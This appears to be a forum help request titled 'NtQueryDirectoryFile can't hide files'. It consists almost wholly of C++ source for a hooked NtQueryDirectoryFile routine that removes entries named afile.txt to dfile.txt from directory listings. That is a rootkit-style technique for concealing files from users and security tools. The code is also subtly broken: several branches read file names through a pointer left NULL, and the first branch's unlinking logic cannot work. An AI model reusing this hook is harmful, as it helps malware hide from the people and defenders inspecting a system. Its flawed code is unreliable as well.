NtQueryDirectoryFile can't hide files

typedef NTSTATUS (WINAPI * NTQUERYDIRECTORYFILE) (IN HANDLE FileHandle,IN HANDLE Event OPTIONAL,IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,IN PVOID ApcContext OPTIONAL,OUT PIO_STATUS_BLOCK IoStatusBlock,OUT PVOID FileInformation,IN ULONG FileInformationLength,IN MYFILE_INFORMATION_CLASS FileInformationClass,IN BOOLEAN ReturnSingleEntry,IN PUNICODE_STRING FileName OPTIONAL,IN BOOLEAN RestartScan);

NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile;

#define STATUS_NO_SUCH_FILE 0xC000000F

NTSTATUS
  HookedNtQueryDirectoryFile(
		IN HANDLE FileHandle,
		IN HANDLE Event OPTIONAL,
		IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
		IN PVOID ApcContext OPTIONAL,
		OUT PIO_STATUS_BLOCK IoStatusBlock,
		OUT PVOID FileInformation,
		IN ULONG FileInformationLength,
		IN MYFILE_INFORMATION_CLASS FileInformationClass,
		IN BOOLEAN ReturnSingleEntry,
		IN PUNICODE_STRING FileName OPTIONAL,
		IN BOOLEAN RestartScan)
{
	NTSTATUS status = OriginalNtQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,FileInformationLength,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);

	vector<wstring> listDataForHidding;
	listDataForHidding.push_back(L"afile.txt");
	listDataForHidding.push_back(L"bfile.txt");
	listDataForHidding.push_back(L"cfile.txt");
        listDataForHidding.push_back(L"dfile.txt");

	if (NT_SUCCESS(status))
	{
		PMYFILE_DIRECTORY_INFORMATION FileDirectoryInfo, LastFileDirectoryInfo;
		PMYFILE_FULL_DIR_INFORMATION  LastFileFullDirectoryInfo, FileFullDirectoryInfo;
		PMYFILE_BOTH_DIR_INFORMATION  LastFileBothDirectoryInfo, FileBothDirectoryInfo;
		PMYFILE_NAMES_INFORMATION     LastFileNamesInfo, FileNamesInfo;

		ULONG Offset = 0;
		BOOL bNeedHide = FALSE;

		switch (FileInformationClass)
		{
			case FileDirectoryInformation :
				FileDirectoryInfo = NULL;
				
				do 
				{
					 
					FileDirectoryInfo = (PMYFILE_DIRECTORY_INFORMATION)((ULONG)FileInformation + Offset);
					LastFileDirectoryInfo = FileDirectoryInfo;

					wstring wstrCurrFileName = FileDirectoryInfo->FileName;
					bNeedHide = FALSE;
					for(size_t index = 0; index < listDataForHidding.size(); index ++)
					{ 
						if(wstrCurrFileName.find(listDataForHidding[index]) != wstring::npos)
						{
							 
							bNeedHide = TRUE;
							break;
						}
					} 
					if(bNeedHide == TRUE)
					{
						if (!FileDirectoryInfo->NextEntryOffset)
						{
							if (LastFileDirectoryInfo) LastFileDirectoryInfo->NextEntryOffset = 0;
							else status = STATUS_NO_SUCH_FILE;
							return status;
						} else 
						if (LastFileDirectoryInfo) LastFileDirectoryInfo->NextEntryOffset += FileDirectoryInfo->NextEntryOffset;						
					}

					Offset += FileDirectoryInfo->NextEntryOffset;

				} while (FileDirectoryInfo->NextEntryOffset);

			break;

			case FileFullDirectoryInformation :
				FileFullDirectoryInfo = NULL;
				do
				{
					LastFileFullDirectoryInfo = FileFullDirectoryInfo; 
					FileFullDirectoryInfo = (PMYFILE_FULL_DIR_INFORMATION)((ULONG)FileInformation + Offset);

					wstring wstrCurrFileName = FileDirectoryInfo->FileName;
					bNeedHide = FALSE;
					
					for(size_t index = 0; index < listDataForHidding.size(); index ++)
					{ 
						if(wstrCurrFileName.find(listDataForHidding[index]) != wstring::npos)
						{ 	 
							bNeedHide = TRUE;
							break;
						}
					} 
					if(bNeedHide == TRUE)
					{
						if (!FileFullDirectoryInfo->NextEntryOffset)
						{
							if (LastFileFullDirectoryInfo) LastFileFullDirectoryInfo->NextEntryOffset = 0;
							else status = STATUS_NO_SUCH_FILE;
							return status;
						} else 
						if (LastFileFullDirectoryInfo) LastFileFullDirectoryInfo->NextEntryOffset += FileFullDirectoryInfo->NextEntryOffset;
					}

					Offset += FileFullDirectoryInfo->NextEntryOffset;

				} while (FileFullDirectoryInfo->NextEntryOffset);
			break;

			case FileBothDirectoryInformation :
				FileBothDirectoryInfo = NULL;
				do
				{
					LastFileBothDirectoryInfo = FileBothDirectoryInfo; 
                    FileBothDirectoryInfo = (PMYFILE_BOTH_DIR_INFORMATION)((ULONG)FileInformation + Offset);
					
					wstring wstrCurrFileName = FileDirectoryInfo->FileName;
					bNeedHide = FALSE;
					
					for(size_t index = 0; index < listDataForHidding.size(); index ++)
					{ 
						if(FileBothDirectoryInfo->FileNameLength > 1 && wstrCurrFileName.find(listDataForHidding[index]) != wstring::npos)
						{
							 
							bNeedHide = TRUE;
							break;
						}
					}

					 
					if(bNeedHide == TRUE)
					{
						if (!FileBothDirectoryInfo->NextEntryOffset)
						{
							if (LastFileBothDirectoryInfo) LastFileBothDirectoryInfo->NextEntryOffset = 0;
							else status = STATUS_NO_SUCH_FILE;
							return status;
						} else 
						if (LastFileBothDirectoryInfo) LastFileBothDirectoryInfo->NextEntryOffset += FileBothDirectoryInfo->NextEntryOffset;
					}

					Offset += FileBothDirectoryInfo->NextEntryOffset;

				} while (FileBothDirectoryInfo->NextEntryOffset);
			break;

			case FileNamesInformation :
				FileNamesInfo = NULL;
				do
				{
					LastFileNamesInfo = FileNamesInfo; 
					FileNamesInfo = (PMYFILE_NAMES_INFORMATION)((ULONG)FileInformation + Offset);

					wstring wstrCurrFileName = FileDirectoryInfo->FileName;
					bNeedHide = FALSE;
					
					for(size_t index = 0; index < listDataForHidding.size(); index ++)
					{ 
						if(wstrCurrFileName.find(listDataForHidding[index]) != wstring::npos)
						{  
							bNeedHide = TRUE;
							break;
						}
					}
  
					if(bNeedHide == TRUE)
					{
						if (!FileNamesInfo->NextEntryOffset)
						{
							if(LastFileNamesInfo) LastFileNamesInfo->NextEntryOffset = 0;
							else status = STATUS_NO_SUCH_FILE;
							return status;
						} else 
						if (LastFileNamesInfo) LastFileNamesInfo->NextEntryOffset += FileNamesInfo->NextEntryOffset;
					}

					Offset += FileNamesInfo->NextEntryOffset;
				} while (FileNamesInfo->NextEntryOffset);

			break;
		}
	}

	return status;
}